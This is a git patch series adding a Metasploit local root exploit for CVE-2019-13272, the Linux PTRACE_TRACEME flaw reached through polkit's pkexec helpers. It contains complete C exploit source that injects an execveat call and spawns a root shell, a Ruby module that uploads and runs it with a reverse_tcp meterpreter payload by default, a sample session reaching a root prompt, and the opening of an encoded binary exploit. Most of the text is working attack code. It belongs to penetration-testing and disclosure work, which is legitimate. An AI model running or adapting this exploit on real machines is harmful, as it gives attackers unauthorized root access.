From b258b8270ead8721883705771dba7f7f874792c8 Mon Sep 17 00:00:00 2001 From: Tim W Date: Fri, 19 Jul 2019 13:13:01 +0800 Subject: [PATCH 01/16] fix #12104, add CVE-2019-13272 PTRACE_TRACEME linux local exploit --- .../source/exploits/CVE-2019-13272/Makefile | 5 + external/source/exploits/CVE-2019-13272/poc.c | 212 ++++++++++++++++++ .../linux/local/pkexec_helper_ptrace.rb | 71 ++++++ 3 files changed, 288 insertions(+) create mode 100644 external/source/exploits/CVE-2019-13272/Makefile create mode 100644 external/source/exploits/CVE-2019-13272/poc.c create mode 100644 modules/exploits/linux/local/pkexec_helper_ptrace.rb diff --git a/external/source/exploits/CVE-2019-13272/Makefile b/external/source/exploits/CVE-2019-13272/Makefile new file mode 100644 index 0000000000..8ca13a5d50 --- /dev/null +++ b/external/source/exploits/CVE-2019-13272/Makefile @@ -0,0 +1,5 @@ + +all: + mkdir -p ../../../../data/exploits/CVE-2019-13272 + gcc poc.c -o ../../../../data/exploits/CVE-2019-13272/exploit + diff --git a/external/source/exploits/CVE-2019-13272/poc.c b/external/source/exploits/CVE-2019-13272/poc.c new file mode 100644 index 0000000000..dda43d2da3 --- /dev/null +++ b/external/source/exploits/CVE-2019-13272/poc.c @@ -0,0 +1,212 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define SAFE(expr) ({ \ + typeof(expr) __res = (expr); \ + if (__res == -1) err(1, "%s", #expr); \ + __res; \ +}) +#define max(a,b) ((a)>(b) ? (a) : (b)) + +static int middle_success = 1; +static int block_pipe[2]; +static int self_fd = -1; +static int dummy_status; +static const char *helper_path; + +const char *helpers[] = { + "/usr/lib/gnome-settings-daemon/gsd-backlight-helper", + "/usr/lib/x86_64-linux-gnu/xfce4/session/xfsm-shutdown-helper", + "/usr/sbin/mate-power-backlight-helper", + "/usr/bin/xfpm-power-backlight-helper", +}; + +/* temporary printf; returned pointer is valid until next tprintf */ +static char *tprintf(char *fmt, ...) { + static char buf[10000]; + va_list ap; + va_start(ap, fmt); + vsprintf(buf, fmt, ap); + va_end(ap); + return buf; +} + +static int middle_main(void *dummy) { + prctl(PR_SET_PDEATHSIG, SIGKILL); + pid_t middle = getpid(); + + self_fd = SAFE(open("/proc/self/exe", O_RDONLY)); + + pid_t child = SAFE(fork()); + if (child == 0) { + prctl(PR_SET_PDEATHSIG, SIGKILL); + + SAFE(dup2(self_fd, 42)); + + /* spin until our parent becomes privileged (have to be fast here) */ + int proc_fd = SAFE(open(tprintf("/proc/%d/status", middle), O_RDONLY)); + char *needle = tprintf("\nUid:\t%d\t0\t", getuid()); + while (1) { + char buf[1000]; + ssize_t buflen = SAFE(pread(proc_fd, buf, sizeof(buf)-1, 0)); + buf[buflen] = '\0'; + if (strstr(buf, needle)) break; + } + + /* + * this is where the bug is triggered. + * while our parent is in the middle of pkexec, we force it to become our + * tracer, with pkexec's creds as ptracer_cred. + */ + SAFE(ptrace(PTRACE_TRACEME, 0, NULL, NULL)); + + /* + * now we execute passwd. because the ptrace relationship is considered to + * be privileged, this is a proper suid execution despite the attached + * tracer, not a degraded one. + * at the end of execve(), this process receives a SIGTRAP from ptrace. + */ + puts("executing passwd"); + execl("/usr/bin/passwd", "passwd", NULL); + err(1, "execl passwd"); + } + + SAFE(dup2(self_fd, 0)); + SAFE(dup2(block_pipe[1], 1)); + + struct passwd *pw = getpwuid(getuid()); + if (pw == NULL) err(1, "getpwuid"); + + middle_success = 1; + execl("/usr/bin/pkexec", "pkexec", "--user", pw->pw_name, + helper_path, + "--help", NULL); + middle_success = 0; + err(1, "execl pkexec"); +} + +static void force_exec_and_wait(pid_t pid, int exec_fd, char *arg0) { + struct user_regs_struct regs; + struct iovec iov = { .iov_base = ®s, .iov_len = sizeof(regs) }; + SAFE(ptrace(PTRACE_SYSCALL, pid, 0, NULL)); + SAFE(waitpid(pid, &dummy_status, 0)); + SAFE(ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &iov)); + + /* set up indirect arguments */ + unsigned long scratch_area = (regs.rsp - 0x1000) & ~0xfffUL; + struct injected_page { + unsigned long argv[2]; + unsigned long envv[1]; + char arg0[8]; + char path[1]; + } ipage = { + .argv = { scratch_area + offsetof(struct injected_page, arg0) } + }; + strcpy(ipage.arg0, arg0); + for (int i = 0; i < sizeof(ipage)/sizeof(long); i++) { + unsigned long pdata = ((unsigned long *)&ipage)[i]; + SAFE(ptrace(PTRACE_POKETEXT, pid, scratch_area + i * sizeof(long), + (void*)pdata)); + } + + /* execveat(exec_fd, path, argv, envv, flags) */ + regs.orig_rax = __NR_execveat; + regs.rdi = exec_fd; + regs.rsi = scratch_area + offsetof(struct injected_page, path); + regs.rdx = scratch_area + offsetof(struct injected_page, argv); + regs.r10 = scratch_area + offsetof(struct injected_page, envv); + regs.r8 = AT_EMPTY_PATH; + + SAFE(ptrace(PTRACE_SETREGSET, pid, NT_PRSTATUS, &iov)); + SAFE(ptrace(PTRACE_DETACH, pid, 0, NULL)); + SAFE(waitpid(pid, &dummy_status, 0)); +} + +static int middle_stage2(void) { + /* our child is hanging in signal delivery from execve()'s SIGTRAP */ + pid_t child = SAFE(waitpid(-1, &dummy_status, 0)); + force_exec_and_wait(child, 42, "stage3"); + return 0; +} + +static int spawn_shell(void) { + SAFE(setresgid(0, 0, 0)); + SAFE(setresuid(0, 0, 0)); + execlp("bash", "bash", NULL); + err(1, "execlp"); +} + +int main(int argc, char **argv) { + if (strcmp(argv[0], "stage2") == 0) + return middle_stage2(); + if (strcmp(argv[0], "stage3") == 0) + return spawn_shell(); + + for (int i=0; iyes from /usr/share/polkit-1/actions to `helpers`"); + + /* + * set up a pipe such that the next write to it will block: packet mode, + * limited to one packet + */ + SAFE(pipe2(block_pipe, O_CLOEXEC|O_DIRECT)); + SAFE(fcntl(block_pipe[0], F_SETPIPE_SZ, 0x1000)); + char dummy = 0; + SAFE(write(block_pipe[1], &dummy, 1)); + + /* spawn pkexec in a child, and continue here once our child is in execve() */ + static char middle_stack[1024*1024]; + pid_t midpid = SAFE(clone(middle_main, middle_stack+sizeof(middle_stack), + CLONE_VM|CLONE_VFORK|SIGCHLD, NULL)); + if (!middle_success) return 1; + + /* + * wait for our child to go through both execve() calls (first pkexec, then + * the executable permitted by polkit policy). + */ + while (1) { + int fd = open(tprintf("/proc/%d/comm", midpid), O_RDONLY); + char buf[16]; + int buflen = SAFE(read(fd, buf, sizeof(buf)-1)); + buf[buflen] = '\0'; + *strchrnul(buf, '\n') = '\0'; + if (strncmp(buf, basename(helper_path), 15) == 0) + break; + usleep(100000); + } + + /* + * our child should have gone through both the privileged execve() and the + * following execve() here + */ + SAFE(ptrace(PTRACE_ATTACH, midpid, 0, NULL)); + SAFE(waitpid(midpid, &dummy_status, 0)); + fputs("attached to midpid\n", stderr); + + force_exec_and_wait(midpid, 0, "stage2"); + return 0; +} diff --git a/modules/exploits/linux/local/pkexec_helper_ptrace.rb b/modules/exploits/linux/local/pkexec_helper_ptrace.rb new file mode 100644 index 0000000000..87a5271dbf --- /dev/null +++ b/modules/exploits/linux/local/pkexec_helper_ptrace.rb @@ -0,0 +1,71 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::File + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Linux Polkit pkexec helper PTRACE_TRACEME local root exploit', + 'Description' => %q{ + In the Linux kernel before 5.1.17, ptrace_link in kernel/ptrace.c mishandles + the recording of the credentials of a process that wants to create a ptrace + relationship, which allows local users to obtain root access by leveraging + certain scenarios with a parent-child process relationship, where a parent drops + privileges and calls execve (potentially allowing control by an attacker). One + contributing factor is an object lifetime issue (which can also cause a panic). + Another contributing factor is incorrect marking of a ptrace relationship as + privileged, which is exploitable through (for example) Polkit's pkexec helper + with PTRACE_TRACEME. NOTE: SELinux deny_ptrace might be a usable workaround in + some environments. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Jann Horn', # Discovery and exploit + 'timwr', # Metasploit module + 'bcoles', # Metasploit module + ], + 'References' => [ + ['CVE', '2019-13272'], + ['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1903'], + ], + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'Platform' => [ 'linux' ], + 'Arch' => [ ARCH_X64 ], + 'Targets' => [[ 'Auto', {} ]], + 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }, + 'DisclosureDate' => 'Jul 4 2019')) + register_advanced_options [ + OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) + ] + end + + def upload_executable_file(filepath, filedata) + print_status("Uploading file: '#{filepath}'") + write_file(filepath, filedata) + chmod(filepath) + register_file_for_cleanup(filepath) + end + + def exploit + unless writable? datastore['WritableDir'] + fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable" + end + + payload_file = "#{datastore['WritableDir']}/.#{Rex::Text::rand_text_alpha_lower(6..12)}" + binary_payload = generate_payload_exe + upload_executable_file(payload_file, binary_payload) + exploit_file = "#{datastore['WritableDir']}/.#{Rex::Text::rand_text_alpha_lower(6..12)}" + exploit_data = File.binread(File.join(Msf::Config.data_directory, "exploits", "CVE-2019-13272", "exploit" )) + upload_executable_file(exploit_file, exploit_data) + print_status("Executing exploit '#{exploit_file}'") + result = cmd_exec("echo #{payload_file} \& | #{exploit_file}") + print_status("Exploit result:\n#{result}") + end +end From f48d1b1231405a1b6b2035131dfcb4315c8908b1 Mon Sep 17 00:00:00 2001 From: Tim W Date: Tue, 6 Aug 2019 13:54:15 +0800 Subject: [PATCH 02/16] add more links --- modules/exploits/linux/local/pkexec_helper_ptrace.rb | 3 +++ 1 file changed, 3 insertions(+) diff --git a/modules/exploits/linux/local/pkexec_helper_ptrace.rb b/modules/exploits/linux/local/pkexec_helper_ptrace.rb index 87a5271dbf..3b4234b65d 100644 --- a/modules/exploits/linux/local/pkexec_helper_ptrace.rb +++ b/modules/exploits/linux/local/pkexec_helper_ptrace.rb @@ -33,6 +33,9 @@ class MetasploitModule < Msf::Exploit::Local ], 'References' => [ ['CVE', '2019-13272'], + ['EDB', '47133'], + ['PACKETSTORM', '153663'], + ['URL', 'https://github.com/bcoles/kernel-exploits/tree/master/CVE-2019-13272'], ['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1903'], ], 'SessionTypes' => [ 'shell', 'meterpreter' ], From 0c4fc639fa42de57f5644bbd76ebe55fd4dc63c5 Mon Sep 17 00:00:00 2001 From: Tim W Date: Tue, 6 Aug 2019 13:55:01 +0800 Subject: [PATCH 03/16] update with bcoles poc.c --- external/source/exploits/CVE-2019-13272/poc.c | 289 ++++++++++++++++-- 1 file changed, 260 insertions(+), 29 deletions(-) diff --git a/external/source/exploits/CVE-2019-13272/poc.c b/external/source/exploits/CVE-2019-13272/poc.c index dda43d2da3..878b9da9a7 100644 --- a/external/source/exploits/CVE-2019-13272/poc.c +++ b/external/source/exploits/CVE-2019-13272/poc.c @@ -1,8 +1,60 @@ +// Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272) +// Uses pkexec technique +// --- +// Original discovery and exploit author: Jann Horn +// - https://bugs.chromium.org/p/project-zero/issues/detail?id=1903 +// --- +// +// - added known helper paths +// - added search for suitable helpers +// - added automatic targeting +// - changed target suid exectuable from passwd to pkexec +// https://github.com/bcoles/kernel-exploits/tree/master/CVE-2019-13272 +// --- +// Tested on: +// - Ubuntu 16.04.5 kernel 4.15.0-29-generic +// - Ubuntu 18.04.1 kernel 4.15.0-20-generic +// - Ubuntu 19.04 kernel 5.0.0-15-generic +// - Ubuntu Mate 18.04.2 kernel 4.18.0-15-generic +// - Linux Mint 19 kernel 4.15.0-20-generic +// - Xubuntu 16.04.4 kernel 4.13.0-36-generic +// - ElementaryOS 0.4.1 4.8.0-52-generic +// - Backbox 6 kernel 4.18.0-21-generic +// - Parrot OS 4.5.1 kernel 4.19.0-parrot1-13t-amd64 +// - Kali kernel 4.19.0-kali5-amd64 +// - Redcore 1806 (LXQT) kernel 4.16.16-redcore +// - MX 18.3 kernel 4.19.37-2~mx17+1 +// - RHEL 8.0 kernel 4.18.0-80.el8.x86_64 +// - Debian 9.4.0 kernel 4.9.0-6-amd64 +// - Debian 10.0.0 kernel 4.19.0-5-amd64 +// - Devuan 2.0.0 kernel 4.9.0-6-amd64 +// - SparkyLinux 5.8 kernel 4.19.0-5-amd64 +// - Fedora Workstation 30 kernel 5.0.9-301.fc30.x86_64 +// - Manjaro 18.0.3 kernel 4.19.23-1-MANJARO +// - Mageia 6 kernel 4.9.35-desktop-1.mga6 +// - Antergos 18.7 kernel 4.17.6-1-ARCH +// --- +// user@linux-mint-19-2:~$ gcc -s poc.c -o ptrace_traceme_root +// user@linux-mint-19-2:~$ ./ptrace_traceme_root +// Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272) +// [.] Checking environment ... +// [~] Done, looks good +// [.] Searching for known helpers ... +// [~] Found known helper: /usr/sbin/mate-power-backlight-helper +// [.] Using helper: /usr/sbin/mate-power-backlight-helper +// [.] Spawning suid process (/usr/bin/pkexec) ... +// [.] Tracing midpid ... +// [~] Attached to midpid +// To run a command as administrator (user "root"), use "sudo ". +// See "man sudo_root" for details. +// +// root@linux-mint-19-2:/home/user# +// --- + #define _GNU_SOURCE #include #include #include -#include #include #include #include @@ -18,24 +70,51 @@ #include #include +#define DEBUG + +#ifdef DEBUG +# define dprintf printf +#else +# define dprintf +#endif + #define SAFE(expr) ({ \ typeof(expr) __res = (expr); \ - if (__res == -1) err(1, "%s", #expr); \ + if (__res == -1) { \ + dprintf("[-] Error: %s\n", #expr); \ + return 0; \ + } \ __res; \ }) #define max(a,b) ((a)>(b) ? (a) : (b)) +static const char *SHELL = "/bin/bash"; + static int middle_success = 1; static int block_pipe[2]; static int self_fd = -1; static int dummy_status; static const char *helper_path; +static const char *pkexec_path = "/usr/bin/pkexec"; +static const char *pkaction_path = "/usr/bin/pkaction"; +struct stat st; -const char *helpers[] = { +const char *helpers[1024]; + +const char *known_helpers[] = { "/usr/lib/gnome-settings-daemon/gsd-backlight-helper", + "/usr/lib/gnome-settings-daemon/gsd-wacom-led-helper", + "/usr/lib/unity-settings-daemon/usd-backlight-helper", "/usr/lib/x86_64-linux-gnu/xfce4/session/xfsm-shutdown-helper", "/usr/sbin/mate-power-backlight-helper", "/usr/bin/xfpm-power-backlight-helper", + "/usr/bin/lxqt-backlight_backend", + "/usr/libexec/gsd-wacom-led-helper", + "/usr/libexec/gsd-wacom-oled-helper", + "/usr/libexec/gsd-backlight-helper", + "/usr/lib/gsd-backlight-helper", + "/usr/lib/gsd-wacom-led-helper", + "/usr/lib/gsd-wacom-oled-helper", }; /* temporary printf; returned pointer is valid until next tprintf */ @@ -48,6 +127,10 @@ static char *tprintf(char *fmt, ...) { return buf; } +/* + * fork, execute pkexec in parent, force parent to trace our child process, + * execute suid executable (pkexec) in child. + */ static int middle_main(void *dummy) { prctl(PR_SET_PDEATHSIG, SIGKILL); pid_t middle = getpid(); @@ -78,31 +161,39 @@ static int middle_main(void *dummy) { SAFE(ptrace(PTRACE_TRACEME, 0, NULL, NULL)); /* - * now we execute passwd. because the ptrace relationship is considered to - * be privileged, this is a proper suid execution despite the attached - * tracer, not a degraded one. + * now we execute a suid executable (pkexec). + * Because the ptrace relationship is considered to be privileged, + * this is a proper suid execution despite the attached tracer, + * not a degraded one. * at the end of execve(), this process receives a SIGTRAP from ptrace. */ - puts("executing passwd"); - execl("/usr/bin/passwd", "passwd", NULL); - err(1, "execl passwd"); + execl(pkexec_path, basename(pkexec_path), NULL); + + dprintf("[-] execl: Executing suid executable failed"); + exit(EXIT_FAILURE); } SAFE(dup2(self_fd, 0)); SAFE(dup2(block_pipe[1], 1)); + /* execute pkexec as current user */ struct passwd *pw = getpwuid(getuid()); - if (pw == NULL) err(1, "getpwuid"); + if (pw == NULL) { + dprintf("[-] getpwuid: Failed to retrieve username"); + exit(EXIT_FAILURE); + } middle_success = 1; - execl("/usr/bin/pkexec", "pkexec", "--user", pw->pw_name, + execl(pkexec_path, basename(pkexec_path), "--user", pw->pw_name, helper_path, "--help", NULL); middle_success = 0; - err(1, "execl pkexec"); + dprintf("[-] execl: Executing pkexec failed"); + exit(EXIT_FAILURE); } -static void force_exec_and_wait(pid_t pid, int exec_fd, char *arg0) { +/* ptrace pid and wait for signal */ +static int force_exec_and_wait(pid_t pid, int exec_fd, char *arg0) { struct user_regs_struct regs; struct iovec iov = { .iov_base = ®s, .iov_len = sizeof(regs) }; SAFE(ptrace(PTRACE_SYSCALL, pid, 0, NULL)); @@ -146,28 +237,126 @@ static int middle_stage2(void) { return 0; } +// * * * * * * * * * * * * * * * * root shell * * * * * * * * * * * * * * * * * + static int spawn_shell(void) { SAFE(setresgid(0, 0, 0)); SAFE(setresuid(0, 0, 0)); - execlp("bash", "bash", NULL); - err(1, "execlp"); + execlp(SHELL, basename(SHELL), NULL); + dprintf("[-] execlp: Executing shell %s failed", SHELL); + exit(EXIT_FAILURE); } -int main(int argc, char **argv) { - if (strcmp(argv[0], "stage2") == 0) - return middle_stage2(); - if (strcmp(argv[0], "stage3") == 0) - return spawn_shell(); +// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * * * - for (int i=0; i>/dev/null 2>>/dev/null") != 0) { + dprintf("[!] Warning: Could not find active PolKit agent\n"); + return 1; + } + if (stat("/usr/sbin/getsebool", &st) == 0) { + if (system("/usr/sbin/getsebool deny_ptrace 2>1 | /bin/grep -q on") == 0) { + dprintf("[!] Warning: SELinux deny_ptrace is enabled\n"); + return 1; } } - if (helper_path == NULL) - errx(1, "no known helper found, add a helper with yes from /usr/share/polkit-1/actions to `helpers`"); + + dprintf("[~] Done, looks good\n"); + + return 0; +} + +/* + * Use pkaction to search PolKit policy actions for viable helper executables. + * Check each action for allow_active=yes, extract the associated helper path, + * and check the helper path exists. + */ +int find_helpers() { + char cmd[1024]; + snprintf(cmd, sizeof(cmd), "%s --verbose", pkaction_path); + FILE *fp; + fp = popen(cmd, "r"); + if (fp == NULL) { + dprintf("[-] Failed to run: %s\n", cmd); + exit(EXIT_FAILURE); + } + + char line[1024]; + char buffer[2048]; + int helper_index = 0; + int useful_action = 0; + static const char *needle = "org.freedesktop.policykit.exec.path -> "; + int needle_length = strlen(needle); + + while (fgets(line, sizeof(line)-1, fp) != NULL) { + /* check the action uses allow_active=yes*/ + if (strstr(line, "implicit active:")) { + if (strstr(line, "yes")) { + useful_action = 1; + } + continue; + } + + if (useful_action == 0) + continue; + useful_action = 0; + + /* extract the helper path */ + int length = strlen(line); + char* found = memmem(&line[0], length, needle, needle_length); + if (found == NULL) + continue; + + memset(buffer, 0, sizeof(buffer)); + for (int i = 0; found[needle_length + i] != '\n'; i++) { + if (i >= sizeof(buffer)-1) + continue; + buffer[i] = found[needle_length + i]; + } + + if (strstr(&buffer[0], "/xf86-video-intel-backlight-helper") != 0 || + strstr(&buffer[0], "/cpugovctl") != 0 || + strstr(&buffer[0], "/package-system-locked") != 0 || + strstr(&buffer[0], "/cddistupgrader") != 0) { + dprintf("[.] Ignoring blacklisted helper: %s\n", &buffer[0]); + continue; + } + + /* check the path exists */ + if (stat(&buffer[0], &st) != 0) + continue; + + helpers[helper_index] = strndup(&buffer[0], strlen(buffer)); + helper_index++; + + if (helper_index >= sizeof(helpers)/sizeof(helpers[0])) + break; + } + + pclose(fp); + return 0; +} + +// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * + +int ptrace_traceme_root() { + dprintf("[.] Using helper: %s\n", helper_path); /* * set up a pipe such that the next write to it will block: packet mode, @@ -179,6 +368,7 @@ int main(int argc, char **argv) { SAFE(write(block_pipe[1], &dummy, 1)); /* spawn pkexec in a child, and continue here once our child is in execve() */ + dprintf("[.] Spawning suid process (%s) ...\n", pkexec_path); static char middle_stack[1024*1024]; pid_t midpid = SAFE(clone(middle_main, middle_stack+sizeof(middle_stack), CLONE_VM|CLONE_VFORK|SIGCHLD, NULL)); @@ -203,10 +393,51 @@ int main(int argc, char **argv) { * our child should have gone through both the privileged execve() and the * following execve() here */ + dprintf("[.] Tracing midpid ...\n"); SAFE(ptrace(PTRACE_ATTACH, midpid, 0, NULL)); SAFE(waitpid(midpid, &dummy_status, 0)); - fputs("attached to midpid\n", stderr); + dprintf("[~] Attached to midpid\n"); force_exec_and_wait(midpid, 0, "stage2"); - return 0; + exit(EXIT_SUCCESS); } + +int main(int argc, char **argv) { + if (strcmp(argv[0], "stage2") == 0) + return middle_stage2(); + if (strcmp(argv[0], "stage3") == 0) + return spawn_shell(); + + dprintf("Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)\n"); + + check_env(); + + if (argc > 1 && strcmp(argv[1], "check") == 0) { + exit(0); + } + + /* Search for known helpers defined in 'known_helpers' array */ + dprintf("[.] Searching for known helpers ...\n"); + for (int i=0; i Date: Tue, 6 Aug 2019 14:17:28 +0800 Subject: [PATCH 04/16] fix forking behaviour --- modules/exploits/linux/local/pkexec_helper_ptrace.rb | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/modules/exploits/linux/local/pkexec_helper_ptrace.rb b/modules/exploits/linux/local/pkexec_helper_ptrace.rb index 3b4234b65d..1e208aedf7 100644 --- a/modules/exploits/linux/local/pkexec_helper_ptrace.rb +++ b/modules/exploits/linux/local/pkexec_helper_ptrace.rb @@ -42,7 +42,11 @@ class MetasploitModule < Msf::Exploit::Local 'Platform' => [ 'linux' ], 'Arch' => [ ARCH_X64 ], 'Targets' => [[ 'Auto', {} ]], - 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }, + 'DefaultOptions' => + { + 'Payload' => 'linux/x64/meterpreter/reverse_tcp', + 'PrependFork' => true, + }, 'DisclosureDate' => 'Jul 4 2019')) register_advanced_options [ OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) @@ -68,7 +72,7 @@ class MetasploitModule < Msf::Exploit::Local exploit_data = File.binread(File.join(Msf::Config.data_directory, "exploits", "CVE-2019-13272", "exploit" )) upload_executable_file(exploit_file, exploit_data) print_status("Executing exploit '#{exploit_file}'") - result = cmd_exec("echo #{payload_file} \& | #{exploit_file}") + result = cmd_exec("echo #{payload_file} | #{exploit_file}") print_status("Exploit result:\n#{result}") end end From 979681443c406f3bc64ea178f6cb8130235eb32c Mon Sep 17 00:00:00 2001 From: Tim W Date: Tue, 6 Aug 2019 14:41:05 +0800 Subject: [PATCH 05/16] add rudimentary check method --- .../linux/local/pkexec_helper_ptrace.rb | 37 +++++++++++++++++++ 1 file changed, 37 insertions(+) diff --git a/modules/exploits/linux/local/pkexec_helper_ptrace.rb b/modules/exploits/linux/local/pkexec_helper_ptrace.rb index 1e208aedf7..fdd53c183d 100644 --- a/modules/exploits/linux/local/pkexec_helper_ptrace.rb +++ b/modules/exploits/linux/local/pkexec_helper_ptrace.rb @@ -7,6 +7,8 @@ class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File + include Msf::Post::Linux::Priv + include Msf::Post::Linux::Kernel include Msf::Exploit::EXE include Msf::Exploit::FileDropper @@ -49,6 +51,7 @@ class MetasploitModule < Msf::Exploit::Local }, 'DisclosureDate' => 'Jul 4 2019')) register_advanced_options [ + OptBool.new('ForceExploit', [false, 'Override check result', false]), OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) ] end @@ -60,7 +63,41 @@ class MetasploitModule < Msf::Exploit::Local register_file_for_cleanup(filepath) end + def check + # Introduced in 4.10, but also backported + # Patched in 4.4.185, 4.9.185, 4.14.133, 4.19.58, 5.1.17 + release = kernel_release + v = Gem::Version.new release.split('-').first + + if v >= Gem::Version.new('5.1.17') || v < Gem::Version.new('3') + vprint_error "Kernel version #{release} is not vulnerable" + return CheckCode::Safe + end + + vprint_good "Kernel version #{release} appears to be vulnerable" + + unless command_exists? 'pkexec' + vprint_error 'pkexec is not installed' + return CheckCode::Safe + end + + vprint_good 'pkexec is installed' + + CheckCode::Appears + end + def exploit + if is_root? && !datastore['ForceExploit'] + fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.' + end + + if check == CheckCode::Safe + unless datastore['ForceExploit'] + fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.' + end + print_warning 'Target does not appear to be vulnerable' + end + unless writable? datastore['WritableDir'] fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable" end From bade8bfc48d1068b04eb6eb31e6b9f2a7d7c6e5c Mon Sep 17 00:00:00 2001 From: Tim W Date: Tue, 3 Sep 2019 17:31:04 +0800 Subject: [PATCH 06/16] add live compiling --- data/exploits/CVE-2019-13272/Makefile | 4 ++ data/exploits/CVE-2019-13272/exploit | Bin 0 -> 51200 bytes .../exploits/CVE-2019-13272/poc.c | 51 ++++++++++++------ .../source/exploits/CVE-2019-13272/Makefile | 5 -- lib/msf/core/post/file.rb | 33 ++++++++++++ lib/msf/core/post/linux.rb | 1 + .../linux/local/pkexec_helper_ptrace.rb | 24 +++++---- 7 files changed, 88 insertions(+), 30 deletions(-) create mode 100644 data/exploits/CVE-2019-13272/Makefile create mode 100755 data/exploits/CVE-2019-13272/exploit rename {external/source => data}/exploits/CVE-2019-13272/poc.c (91%) delete mode 100644 external/source/exploits/CVE-2019-13272/Makefile diff --git a/data/exploits/CVE-2019-13272/Makefile b/data/exploits/CVE-2019-13272/Makefile new file mode 100644 index 0000000000..0beb9ddee2 --- /dev/null +++ b/data/exploits/CVE-2019-13272/Makefile @@ -0,0 +1,4 @@ + +all: + x86_64-linux-musl-cc -static -s -pie poc.c -o exploit + diff --git a/data/exploits/CVE-2019-13272/exploit b/data/exploits/CVE-2019-13272/exploit new file mode 100755 index 0000000000000000000000000000000000000000..31c519d41b6fa61b249846b048462dacb9235a4b GIT binary patch literal 51200 zcmeFaeSB2awfH@g%#aBL&xiqI3o__nlY*Kk)I^A6U?OL9qF6wwh|(KNsrJPyGXyJ0 z@MMJJIFIyKt@gIP*WSL-+827OG@wF4AQM0_f-gZ-BBGvQK%;1gfXwq<`^+Rjy|=&5 z^ZY)a=br~n&N=&K?X}lld#$zCUVCSGZTRXur_+)9m+!dBAzuevc1le)qj7Wgg-4B} z(&6U!2*+?$);*B*4{uwV?WEk(;qa*hX=4yS^Eawbo<8-Gd)}3Ar$7D;ulY{mk{JyTzx9bZoMpx%3TLQGXQZ#qrms08y(^o(_KbALf7D#j9 zE6+$TJy@xqevt@k-} z<3Nukwe=N;Ry!$Gpqrm%TJ*>D_^eis&Rc9(^oX9|qoPGm2DhwIg-JL1e9;f|c%B|> zi45m!bVH#Y|Di`Wmu^|58=Jl9cl2bFU0lFtYov9vM~{1f8Y$6@W1}02^!O4gJ^Qi% z){Pc#x?2ZT+Ra42DsOAS#J@(52mMcw78#*uUNkE6qJ{dnyS%!2H0{=%o#}V=_#=KV z`0Mc|e~CPu$8_iBkl7h315`_7bSQq8XT^J&OlG-mob*HsL-BImc~W;?r5lzv{i+^+ z%HJXwP`^W-lGm=AAM0hCrT*A(e5xm~qFVrjj6P5FtZ@7qZ#bS8a(-547F7bJB;Bbe z+(lB^+^MhFBIL|;Ga?>6aib@kaR2L11^(Cc_|We``PzzYdZN1XY(^t{C366Pf!W9GG)Gw5JiHUg%Oxa25 z>#ZmAh3u`?6zS7TCn5a+z#;+o-@$9F-nPN#aA>g~)0l2lKiSOJY+wdv&5ST~)oBu} z1)pa!V0`J{rR7oOJVNFcy{t`-yMIh|z4ds$Zls-hRo9|1*?t-=PTh1z$qi(Rw@~m7 zDOlBY_q$f#NuU|kGo&fnNK|M30*waK#@u%Il@xOZZkg9+!#Q$h|BdQ$RqrB5IPnsJ znW)}GeNeVuJdw%FOYH%Ce}7Xu_>%s>{@v0=^SM%nST~=ZqaKgWSC7O(9$_NBw^p{SCmE}xqzAak*ks;B2Iz@e z*fv(fr=Ez-kcS!5)z_m^T93zU4BEl`1^C43nW_}!23VyQgn&ohqwTCuJ3ZQ=Z(_C(Av1C}rGAk3k04hCB4h8Zvv8)^Rc@yN$#Bv%~#@*}I z`5YU+3XW#d`sqw*;CW-&^L7Ih?FLHv8+h|8Im|ZZ31){(p^~pZ|1w6??y#A(N%8VI z0xHr# z-lwOa{(EYWy;e7tt+iWvnsj_u>Q)gjm`B#I&VEJC82Nq5)ZeA2K`Y<)l8qx-R#4HkOh zTRn3{l4Zq@jEVW&LvXP9^eTSq=A(`BNW?nTSFA-I$yf)EE7L*NB$fYyM^%;G<(z&6RY6>Ncz(+gHr7wW7#1a##J_q zRsAsP`eFQBSUT~j;An%=&6hT)0d3#pnwo3#Z)iKv>ISWD8{`lh(bZ_K(cT&}X~k9%YI-B`hksP z6wKPbcx@kZ{|3tCRM!>Q7H70EAfv4Vb%L(lf{5nx?G~o=x8TaPkfI~D@I9sa)2e!( zv8>NV@MF8Tj{fRfeK~T?(c|uhzxZIUtXN-rmJFSU_4y?KgIK>|7}>}@RYf%3ANpDF zE`ZuX^S4J%?Ob+dP*$jJZ5b>LAZilTzmo6QsRqPjfA%pV6Yq3a2rkwy&vQ7$j3%dB za+G%cNq<|e{q(!Na;Bmz=2nvwW{FRv1gQvluQbuRnj{Pi*L4k>n1TC)N`6 zQS4IrzF$>SU~iJ|9iXOKOH?nC?`QaiiL$)1;!wHBg81;=e-d)VI>i()UxK-W2{$^B 